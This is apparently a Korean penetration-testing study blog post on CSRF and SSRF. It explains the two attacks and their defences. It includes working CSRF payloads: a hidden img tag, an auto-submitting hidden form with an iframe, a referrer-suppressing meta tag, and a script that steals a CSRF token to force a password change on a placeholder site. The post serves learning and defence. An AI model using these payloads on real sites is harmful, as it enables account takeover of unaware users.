본문 바로가기

모의해킹 공부/모의해킹 스터디

[0525 Day09] CSRF & SSRF

CSRF(Cross Side Request Forgery)

CSRF : 피해자가 자도 모르게 서버에게 피해자의 세션을 이용한 임의의 요청을 보내게 만드는 공격

CSRF 공격은 피해자의 세션이 성립 된 상태에서 모든 요청이 일어나는 곳에서 공격이 일어날 수 있다

주로 피해자의 민감한 정보를 수정, 삭제가 이뤄지는 페이지를 취약점으로 판단할 수 있다


★★ XSS 공격 vs CSRF 공격 차이

XSS 공격은 악의적인 스크립트가 클라이언트에서 실행되는 공격이고,

CSRF 공격은 악의적인 스크립트가 서버에 요청이되는 공격이다


CSRF 공격 기법

[1] GET Method

    취약점 페이지가 GET 메서드 방식의 페이지 일 경우 

    [1-1] URL 파라미터에 공격자가 원하는 공격 코드를 삽입한다

    [1-2] 공격자가 만든 URL을 HTML <img> 태그, <a> 태그 등을 이용하여 피해자가 볼 수 있게 만든다

       

<img src="http://www.test.com/update.php?pw=1234" style="display:none"/>

  

[2] POST Method"

    취약점 페이지가 POST 메서드 방식의 페이지 일 경우

    [2-1] 같은 도메인에서 XSS 취약점을 무조건  찾는다!! -> 피해자의 세션을 사용해야하기 때문에

    [2-2]  XSS 취약점에서 HTML <form>태그와 <iframe> Javascript 함수를 이용해서 파라미터를 전달한다

<form method="POST" target="sFrame" action="update.php"> 
	<input type="hidden" name="pw" value="1234"/> 
</form>

<iframe name="sFrame" src="www.test.com" style="display:none;"></iframe>

<script>
	document.forms[0].submit();
</script>

 

[3] Referer Bypass

    Referer 체크를 하는 페이지일 경우

    [3-1] meta 태그를 이용해서 우회를 한다

    [3-2] 만약 meta 태그를 사용하지 못한다면 우회하기 힘들다

<meat name="referrer" content="no-referrer">

[4] CSRF Token

    [4-1] XSS 공격이 가능하다면 우회가 가능하다

    [4-2]  XSS 취약점에서 HTML <form>태그와 <iframe> Javascript 함수를 이용해서 CSRF Token을 파싱한다

    [4-3] 파싱한 CSRF Token과 변조할 데이터를 Post 메서드에서 사용한 공격 방식을 이용한다

<iframe id="csrf_get_token" src="./mypage.php" onload="getCsrfToken()" style="display:none;"></iframe>

<form method="POST" id="csrfForm" target="stealthFrame" action="update.php">
	<input type="hidden" name="pw" value="1234"/>
	<input type="hidden" name="csrfToken" value=""/>
</form>

<iframe name="stealthFrame" src="test.com" style="display:none;"></iframe>

<script>
	const getCsrfToken = () => {
		var csrfToken = document.getElementById('csrf_get_token').contentDocument.forms[0].csrfToken.value;
		document.getElementById('csrfForm').csrfToken.value = csrfToken;
		document.getElementById('csrfForm').submit();
	}
</script>

대응 방안

[1] 민감한 정보를 수정, 삭제할 때 인증정보를 추가한다

예를 들어 기존 비밀번호를 입력받거나, 문자, 이메일 인증을 추가로 받게 한다

 

[2] Referer 검증, CSRF Token을 추가한다

Referer 검증 CSRF 토큰을 사용하여 요청을 위조하는 것을 막는다

 

[3] XSS 취약점을 대응한다

XSS 취약점이 발견되는 곳에 먼저 HTML 특수문자 HTML Entity치환을 한다

그 후  화이트 리스트로 사용가능한 HTML 태그와 특수문자를 허용하고

블랙 리스트로 필터링하여 XSS 취약점을 대응한다



SSRF(Server Side Request Forgery)

SSRF : 서버가 임의의 요청을 하게 만드는 공격

SSRF 공격은 일반 사용자가 접근 할 수 없는 서버 내부에 접근하여 악의적인 스크립트나 악성 파일을 올리는 등 공격 행위가 가능해 진다

서버가 외부 자원(리소스)를 이용하는 곳에서 파라미터로 URL을 받는 페이지에서 일어난다

 

SSRF 공격을 막기 위해서는 URL을 파라미터로 받지 않게 페이지를 구현한다